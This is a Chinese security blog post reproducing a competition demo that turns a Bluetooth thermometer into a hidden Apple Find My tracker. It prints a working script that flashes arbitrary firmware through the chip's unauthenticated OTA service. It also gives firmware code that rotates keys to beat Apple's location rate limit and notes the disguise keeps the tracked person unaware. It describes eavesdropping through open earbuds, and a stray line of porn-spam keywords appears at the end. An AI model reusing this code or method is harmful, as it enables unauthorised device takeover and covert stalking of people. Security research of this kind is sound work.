<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    《我是極客》項目復現:偽裝成溫度計的跟蹤器

    VSole2021-10-25 15:59:12

    研究背景簡介

    在極棒(我是極客)比賽上看到玄武的追蹤信標團隊展示的項目,效果就是在耳機近場范圍內,選手對耳機發起攻擊然后變成了一個類似airtag跟蹤器,技術評委帶上耳機后在十分鐘開車隨便選擇了一個地點,選手跟蹤耳機最終確定了評委所在地。

    下面我們來復現這個項目,以及拓展其他有關智能設備隱私的問題。

    藍牙溫濕度計RCE漏洞

     

    目標是某款藍牙溫濕度計,通過拆解外殼可以發現使用的是Telink的TLSR8251的BLE 芯片,我先說一下成因是芯片廠商一般會提供SDK以及開發時候的參考例程,其中就包括了藍牙OTA的升級例程,而這個例程中基本沒有對安全考慮,基本上只有CRC16完整性的校驗,這種芯片供應鏈的風險其實在我19年一個議題中講到過有興趣的小伙伴可以看看《藍牙安全之第二戰場》(http://cnbj1.fds.api.xiaomi.com/src/ppt/8.pdf)

    另外通過固件也能識別出產品是否使用了Telink提供的芯片架構,這里有兩個方法分別是固件頭部的四個字節為固定"KNLT",以及基于官方提供的SDK編譯后會包含"Telink"的字符串,這個值是被硬編碼到了協議棧的封裝庫中。

    然后在設備進行升級時候保存其藍牙數據包,可以通過Wireshark分析流量數據,然后對比從安卓目錄\data\data\com.**中找到設備固件,黑盒在反推一下就能得到這個Telink OTA時候的升級協議了。

    import logging
    import time
    from bluepy import btle
    logging.basicConfig(level=logging.DEBUG, format="[%(asctime)s] [%(levelname)s] [%(filename)s#%(lineno)d] %(message)s", datefmt="%H:%M:%S")
    class BLEDelegate(btle.DefaultDelegate):
        def __init__(self):
            btle.DefaultDelegate.__init__(self)
        def handleNotification(self, cHandle, data):
            logging.info("Notify: 0x%02x %s(%s)", cHandle, data.hex(),bytes.fromhex(data.hex()))
    def enable_notify(handle):
        ble_conn.writeCharacteristic(handle , b"\x01\x00", withResponse=True)
    
    
    CRC16 = 0
    CRC16_CCITT = 1
    CRC_CCITT_XMODEM = 2
    CRC16_CCITT_x1D0F = 3
    CRC16_MODBUS = 4
    def crc16(buffer, mode=CRC16_MODBUS):
        if mode == CRC16_CCITT:
            polynom = 0x1021
            crc16ret = 0xFFFF
        if mode == CRC16_CCITT_x1D0F:
            polynom = 0x1021
            crc16ret = 0x1D0F
        if mode == CRC_CCITT_XMODEM:
            polynom = 0x1021
            crc16ret = 0
        if mode == CRC16:
            polynom = 0xA001
            crc16ret = 0
        if mode == CRC16_MODBUS:
            polynom = 0xA001
            crc16ret = 0xFFFF
        if (mode != CRC16) and (mode != CRC16_MODBUS):
            for l in buffer:
                crc16ret ^= int(l) << 8 #ord(l) << 8
                crc16ret &= 0xFFFF
                for i in range(0, 8):
                    if (crc16ret & 0x8000):
                        crc16ret = (crc16ret << 1) ^ polynom
                    else:
                        crc16ret = crc16ret << 1
                    crc16ret &= 0xFFFF
        else:
            for l in buffer:
                crc16ret ^= int(l) #   ord(l)
                crc16ret &= 0xFFFF
                for i in range(8):
                    if (crc16ret & 0x0001):
                        crc16ret = (crc16ret >> 1) ^ polynom
                    else:
                        crc16ret = crc16ret >> 1
                    crc16ret &= 0xFFFF
        lsb=hex((crc16ret&0xff00)>>8)[2:].zfill(2)
        msb=hex(crc16ret&0xff)[2:].zfill(2)
        return msb+lsb
    TELINK_OTA_UUID_SERVICE="00010203-0405-0607-0809-0a0b0c0d1912"
    TELINK_SPP_DATA_OTA="00010203-0405-0607-0809-0a0b0c0d2b12"
    
    
    dev_addr = "A4:C1:38:35:A5:3A" # mmc
    logging.info("Connecting...")
    ble_conn = btle.Peripheral(dev_addr, btle.ADDR_TYPE_PUBLIC,iface=0)
    ble_conn.setDelegate(BLEDelegate())
    logging.info("Connected.")
    s = ble_conn.getServiceByUUID(TELINK_OTA_UUID_SERVICE)
    c=s.getCharacteristics()[0]
    ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("00ff"))
    ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("01ff"))
    print(hex(c.getHandle()))
    time.sleep(0.2)
    f=open('./iBeacon.bin','rb')
    s=f.read(16)
    addr=0
    while(s):
        addrs=hex(addr)[2:].zfill(4)
        msb=addrs[2:]
        lsb=addrs[:2]
        binline=msb+lsb+s.hex().ljust(16*2, 'f');
        crc=crc16(bytes.fromhex(binline)).zfill(4)
        ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex(binline+crc))
        addr+=1
        s=f.read(16)
        if addr % 8 ==0 :
            while True:
                if ble_conn.waitForNotifications(0.2):
                    continue
                break
            pass
    f.close()
    ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex('02ff'))
    ble_conn.waitForNotifications(1)
    

    然后根據黑盒逆向得到的協議,在基于bluepy的庫寫了一個Telink OTA的升級腳本,對其他使用了Telink芯片的產品都是適用的,除非是自己改過了,我是基本沒遇見過,然后搜索周圍的藍牙設備就找到設備MAC,然后就能對設備進行任意的固件升級了,因為設備只能判斷固件的完整性,不能對固件進行鑒別真實性,以直接升級一個假的固件,這樣就能變磚了。

    接著來講下如何繼續接管芯片的控制邏輯,實現任意代碼執行的能力。

     

    首先我們要構建這個芯片的開發環境,大多數情況下芯片的SDK以及開發板都不太好獲得,需要簽署保密協議之類廠商才會提供,找到安信可專門做開發板的公司,他們居然將芯片SDK開源了!

    對于其他的芯片廠商沒有找到公開的資源可以試試利用大廠的公司郵箱發封郵件,也有很大概率能得到想要的文檔/開發板。

    這樣可以借助這個SDK的工具鏈編譯我們構造好的惡意代碼固件,然后在利用上面的傳到設備中就能實現未授權RCE的效果了,并且還能調用原本板子上的硬件資源,例如墨水屏,溫濕度傳感器之類的。

    這類的問題講道理應該是Telink芯片廠商去完成修復,但在我聯系芯片廠商后他們認為并不是他們的問題,應該由產品的制造商來解決,方案是啟用藍牙的配對模式,但像Nordic芯片廠商則會提供一個安全的參考例程序(BLE Secure DFU)。

    下面來說一下怎么將這個溫濕度計變成一個跟蹤器。

    蘋果 Find My 技術簡介

    相關的技術原理在蘋果的隱私白皮書,我就簡單說一下這個findmy 網絡。

    1、手機與airtag 基于secp224r1算法標準,會生成一對公私密鑰,手機將私鑰保存在密鑰鏈中。

    2、airtag保存公鑰并將公鑰進行藍牙廣播。

    3、周圍的其他蘋果終端收到帶有FindMy標識的藍牙廣播后,會通過廣播中的公鑰加密自己的位置信息上傳到蘋果服務器中。

    4、然后airtag的擁有者可以通過公鑰的哈希ID作為索引下載到加密后的信息,然后在通過密鑰鏈中的私鑰解開得到位置信息。

    Find My 藍牙廣播協議

    然后airtag會通過藍牙廣播這個公鑰(28字節):

    EC P-224 公鑰:05e7b2bb75cf9bbaeb32518c899fa84cca2e268e76b3a24cd1b793be

    ble mac :c5e7b2bb75cf

    ble payload :1eff4c001219009bbaeb32518c899fa84cca2e268e76b3a24cd1b793be0000

    openhaystack # 逆向FindMy協議后實現的開源項目

    在此之前其實就有其他研究員對蘋果的這套FindMy協議進行逆向,通過第三方軟件自己生成P-224的密鑰對,然后將公鑰傳到自己的開發板(ESP32/NRF52/RaspberryPi)中,然后通過上面藍牙廣播協議將公鑰傳出,這是因為周圍的蘋果終端是無法識別該廣播是否為真是的AirTag發出的,所以會一并上傳到蘋果的服務器,因為蘋果API做了限制這個第三方軟件只能通過安裝了蘋果郵件插件,訪問服務器下載位置報告。

    u8 adv_key[16][28]={
    {0x05,0xe7,0xb2,0xbb,0x75,0xcf,0x9b,0xba,0xeb,0x32,0x51,0x8c,0x89,0x9f,0xa8,0x4c,0xca,0x2e,0x26,0x8e,0x76,0xb3,0xa2,0x4c,0xd1,0xb7,0x93,0xbe},
    {0xff,0x12,0x74,0x71,0x73,0x7c,0x14,0x2e,0x07,0xe2,0x1f,0xfa,0x7e,0x15,0x3f,0x4d,0x52,0xaf,0xf6,0x78,0x37,0xd1,0x59,0xea,0x2c,0x5b,0xf5,0x6e},
    {0x97,0x7d,0xd0,0xc4,0x94,0xab,0x6a,0x58,0xe7,0x8c,0xb2,0xe0,0x1d,0x7c,0x05,0xea,0x61,0x21,0x7e,0x8d,0x2c,0x83,0xe1,0x13,0xd9,0x53,0x63,0x01},
    {0xa0,0x27,0xeb,0xde,0x2f,0x1b,0xd7,0x2d,0x27,0xbf,0x75,0x73,0xc5,0xa5,0x5c,0x1e,0xfd,0x12,0xf8,0xc9,0x03,0xd7,0xf7,0x9b,0x6a,0x87,0xcb,0x68},
    {0xb7,0x3e,0xea,0xb6,0x87,0x62,0x1b,0xaa,0x5c,0xff,0x20,0xfa,0x16,0x8c,0x9f,0x63,0xfd,0xf7,0x39,0x7f,0x6e,0xe3,0xb3,0x47,0xa4,0x92,0x57,0x99},
    {0x1d,0xe8,0x33,0xe1,0x3d,0x48,0x11,0xa4,0x8c,0xc7,0x87,0xd1,0x2a,0xd9,0xbd,0x5d,0x79,0xec,0xa5,0xd9,0x12,0x02,0x93,0x70,0x26,0xef,0xc5,0x23},
    {0x60,0x8b,0x4e,0x0f,0x8c,0x7c,0xe1,0x57,0xf8,0xb9,0x33,0x96,0x1c,0xd9,0xfb,0x3b,0x6b,0x7d,0xfd,0xce,0xb2,0x05,0x00,0xd1,0x1f,0x2b,0xdc,0x98},
    {0x4f,0x41,0xb7,0x27,0xc5,0x90,0x1f,0x79,0xaf,0x33,0xc8,0x9b,0x1a,0x53,0x37,0x69,0xcc,0x96,0xcb,0x2c,0x6e,0x03,0x5e,0x3d,0x2d,0x06,0x6b,0xd6},
    {0xbe,0x6a,0x91,0x99,0x27,0x7f,0xed,0x92,0xe2,0x5e,0xa5,0xd0,0x01,0xef,0xe9,0x50,0x75,0x93,0xfe,0xcb,0x79,0x4f,0x52,0x32,0xdf,0x5b,0xf9,0x82},
    {0x3a,0xda,0x8a,0x7f,0x2d,0x56,0xcb,0x5b,0xd6,0xe3,0xe0,0x5b,0x01,0x11,0x64,0x96,0x89,0x86,0xa4,0x3b,0x2b,0x05,0xdb,0x94,0xb9,0xf5,0xfe,0xbc},
    {0x7b,0xba,0xcd,0x7a,0x5f,0x55,0xba,0x1e,0x00,0xf1,0xdc,0xe7,0x1c,0xb2,0x65,0x5f,0x11,0x86,0x55,0x62,0x99,0xc4,0xb9,0x9b,0x25,0xeb,0x95,0xb3},
    {0xdf,0xef,0xa2,0x71,0xd2,0x2f,0xdf,0xd2,0x61,0xf3,0xc6,0x0a,0x0a,0x0f,0x92,0x30,0x4b,0x5c,0x33,0x16,0x29,0x63,0xcc,0x66,0xca,0xd0,0x06,0xb2},
    {0xf0,0xa4,0xcf,0xca,0x5d,0x66,0xc6,0xaa,0x34,0xe6,0x21,0x21,0x73,0x6d,0x5a,0x29,0x19,0xc1,0x90,0x6e,0xf2,0xbf,0x77,0x01,0xe2,0x6b,0x89,0xab},
    {0x6c,0x00,0xaa,0xa2,0xb3,0xb5,0x85,0x6c,0x0c,0x1e,0x37,0xb3,0x59,0xf2,0xfe,0x99,0xe5,0x33,0x1f,0xeb,0x8b,0xc4,0x7d,0x65,0x65,0x7d,0xd9,0x75},
    {0x10,0x96,0x5e,0xf8,0xeb,0x1b,0xf3,0x0a,0x22,0xe6,0x22,0x5a,0x2b,0xea,0x78,0x6a,0x63,0xc5,0xe6,0x3c,0x3b,0xd2,0x36,0x2e,0xaa,0x64,0xdb,0x1e},
    {0x88,0xfb,0x96,0x83,0x18,0xf6,0x6f,0x8d,0x86,0xd2,0xec,0xfd,0x26,0x68,0xeb,0xed,0x73,0xcc,0x83,0xb9,0xe2,0x6b,0x73,0x8d,0x43,0x57,0x88,0xca}
    };
    void apple_adv(u8 *key_data){
        bls_ll_setAdvEnable(0);
        u8 mac_public_d[6];
        mac_public_d[5] = key_data[0] | 0b11000000;
        mac_public_d[4] = key_data[1];
        mac_public_d[3] = key_data[2];
        mac_public_d[2] = key_data[3];
        mac_public_d[1] = key_data[4];
        mac_public_d[0] = key_data[5];
        char at_print_buf[256];
        u_sprintf((char*)at_print_buf, "mac:%02X:%02X:%02X:%02X:%02X:%02X \r\n",mac_public_d[5],mac_public_d[4],mac_public_d[3],mac_public_d[2],mac_public_d[1],mac_public_d[0]);
        at_print(at_print_buf);
        u8 adv_data[31] = {
            0x1e, /* Length (30) */
            0xff, /* Manufacturer Specific Data (type 0xff) */
            0x4c, 0x00, /* Company ID (Apple) */
            0x12, 0x19, /* Offline Finding type and length */
            0x00, /* State */
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, /* First two bits */
            0x00, /* Hint (0x00) */
        };
        memcpy(&adv_data[7], &key_data[6], 22);
        adv_data[29] = key_data[0] >> 6;
        u_sprintf((char*)at_print_buf, "adv:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X \r\n",adv_data[0],adv_data[1],adv_data[2],adv_data[3],adv_data[4],adv_data[5],adv_data[6],adv_data[7],adv_data[8],adv_data[9],adv_data[10],adv_data[11],adv_data[12],adv_data[13],adv_data[14],adv_data[15],adv_data[16],adv_data[17],adv_data[18],adv_data[19],adv_data[20],adv_data[21],adv_data[22],adv_data[23],adv_data[24],adv_data[25],adv_data[26],adv_data[27],adv_data[28],adv_data[29],adv_data[30]);
        at_print(at_print_buf);
        u8  mac_random_static[6];
        blc_initMacAddress(CFG_ADR_MAC, mac_public_d, mac_random_static);
        blc_ll_initBasicMCU();   //mandatory
        blc_ll_initStandby_module(mac_public_d);
        bls_ll_setAdvData( (u8 *)adv_data, sizeof(adv_data) );
        u8 status = bls_ll_setAdvParam( ADV_INTERVAL_50MS , ADV_INTERVAL_50MS , \
                                        ADV_TYPE_NONCONNECTABLE_UNDIRECTED, OWN_ADDRESS_PUBLIC, \
                                         0,  NULL,  BLT_ENABLE_ADV_ALL, ADV_FP_NONE);
        bls_ll_setAdvEnable(1);  //adv enable
        rf_set_power_level_index (MY_RF_POWER_INDEX);
    }
    int i=0;
    _attribute_ram_code_ void main_loop (void)
    {   
        apple_adv(adv_key[i]);
        char at_print_buf[256];
        sleep_us(1000000);
    
    
        u32 time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
        u_sprintf((char*)at_print_buf,"time:%d\r\n",time_a);
        at_print(at_print_buf);
        i++;
        if (i>15){
            i=0;
        }
        while (!(time_a%30==0 && time_a!=0)){
            blt_sdk_main_loop();
            time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
        }
    }
    

    然后我在這個基礎做了改進,就是蘋果服務器做了一個策略是同一個FindMy的設備在五分鐘內只會登記一個地點,這也是為什么項目選手十分鐘只記錄了兩個軌跡點,我生成16個密鑰對(adv_key)通過自己寫的代碼間隔30秒的替換廣播的公鑰,因此可以將間隔縮短到30秒甚至更少,跟蹤的軌跡更加線性。

    溫度計可以續航一年之久,采用了墨水屏即使不驅動,屏幕也會顯示之前的數值不會輕易被跟蹤者被察覺(也能自己寫代碼驅動墨水屏,顯示真實數據,但是有一定的開發量暫未實現),從產品形態來看溫度計更像溫度計。

    參考鏈接:

    https://arxiv.org/pdf/2103.02282.pdf

    https://support.apple.com/en-gb/guide/security/sece994d0126/web

    https://github.com/Ai-Thinker-Open/Telink_825X_SDK

    https://github.com/seemoo-lab/openhaystack

    https://github.com/adamcatley/adamcatley.github.io/blob/a05b9dcbbf20e72ab31e416c210bd13d566e9c9c/docs/AirTag.md

    廣播信標追蹤

    其實上還有很多智能產品采用BLE 廣播的協議實現設備發現等功能,例如兩家國內銷量Top2的可穿戴手環產品,在運行期間會不斷廣播自身唯一標識,周圍任何人都能收到這個信息,還有國內大部分的快傳協議也有這種風險,不過需要使用者打開系統自帶的快傳功能并且部分品牌手機需要保持亮屏狀態。

    危害就是在一個城市部署足夠多的藍牙嗅探節點,進行統一匯總這樣可以推算出某個人一天時間之內去了那些地方場所,或者在固定場所部署嗅探節點,例如判斷這個人具體的休息工作時間。

    真實AirTag會定期更新所廣播的公鑰以及唯一的標識目的就是解決上面這個跟蹤的問題,只是在國內似乎并沒有人關注到這個風險。

    藍牙耳機實現遠程監聽

    最開始其實是在我現有的耳機上在挖RCE的洞,然后意外找到Enco Air 鏈接時候有個缺陷。

    正常耳機在開機后默認是與已配對的手機進行鏈接,配對模式需要長按某個按鍵才會進入,而這個耳機似乎是為了用戶體驗考慮,開蓋后默認就是配對模式,任意人都能連接配對上,關鍵點就是沒有授權的操作比如說按一下物理按鍵完成配對(比賽項目那個耳機也是處于開蓋狀態下,相同的條件),這樣攻擊者就能配對然后調用麥克風實現遠程監聽效果了。

    藍牙功能藍牙協議棧
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Bluetooth學習之esp32
    2022-05-08 18:39:25
    Bluetooth學習之esp32旨在尋找IOT設備的攻擊面之
    藍牙是當下流行的短距離通信技術,藍牙標準中的配對機制可以在主從設備之間快速建立連接,連接建立以后可以避免第三方的竊聽和篡改。為了解決藍牙技術在工業物聯網中的安全應用問題,首先分析了藍牙協議的安全機制,其次分析工業物聯網應用場景對藍牙通信的安全需求,并研究現有藍牙安全機制與工業物聯網藍牙需求的差異。最后提出了適用于工業物聯網終端的藍牙安全方案,可以實現基于合法身份的、分布式的鑒權及接入控制功能
    當你第一眼看到并愛上Flipper Zero,絕對不是因為它的功能,而是極其高的顏值。其外觀設計師絕對是T0級別,注塑成型的塑料外殼,和酷似蘿卜刀的造型,絕對會第一時間吸引用戶的注意力。
    10月23日,看雪第五屆安全開發者峰會于上海舉辦,歡迎各位蒞臨現場!
    進入2023年,隨著我們踏上邊緣計算的旅程,大多數(如果不是全部)行業都在數字化層面上發展。但汽車行業正在經歷另一個層面的技術創新。
    在極棒(我是極客)比賽上看到玄武的追蹤信標團隊展示的項目,效果就是在耳機近場范圍內,選手對耳機發起攻擊然后變成了一個類似airtag跟蹤器,技術評委帶上耳機后在十分鐘開車隨便選擇了一個地點,選手跟蹤耳機最終確定了評委所在地。
    藍牙低功耗(BLE,Bluetooth Low Energy)協議在資源受限的設備之間實現高能效的無線通信。
    以往工作揭示了所涉及協議中的一些安全性和隱私性問題,這些工作對AirDrop進行了廣泛的研究。對將目標連接到攻擊者控制的Wi-Fi網絡的PWS進行攻擊。最近,有幾項研究發現了蘋果專有的無線協議中的嚴重漏洞。AWDL協議和對AirDrop的中間設備攻擊。到目前為止,迄今為止的工作已經深入分析了一種服務,即。但是,所涉及的上層協議仍然是未知的。
    物聯網安全研究
    2022-06-13 13:56:53
    物聯網是繼計算機、互聯網和移動通信之后新一輪信息技術革命,自1999年美國麻省理工學院的凱文·阿什頓教授提出物聯網的概念以來,同時伴隨著5G、人工智能、區塊鏈等新興技術的快速發展和逐步應用,以及智慧城市、工業互聯網、車聯網等新應用的快速落地,物聯網和移動互聯網進一步深度融合,正進入“跨界融合、集成創新、規模化發展”新階段。在物聯網快速發展的同時,安全問題日益凸顯。
    據Bleeping Computer消息,NCC集團的安全研究人員近日已成功攻破特斯拉無鑰匙系統,在中繼通道建立起來后,整個攻擊過程只需要不到10秒鐘即可打開車門,并且可以無限重復攻擊。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类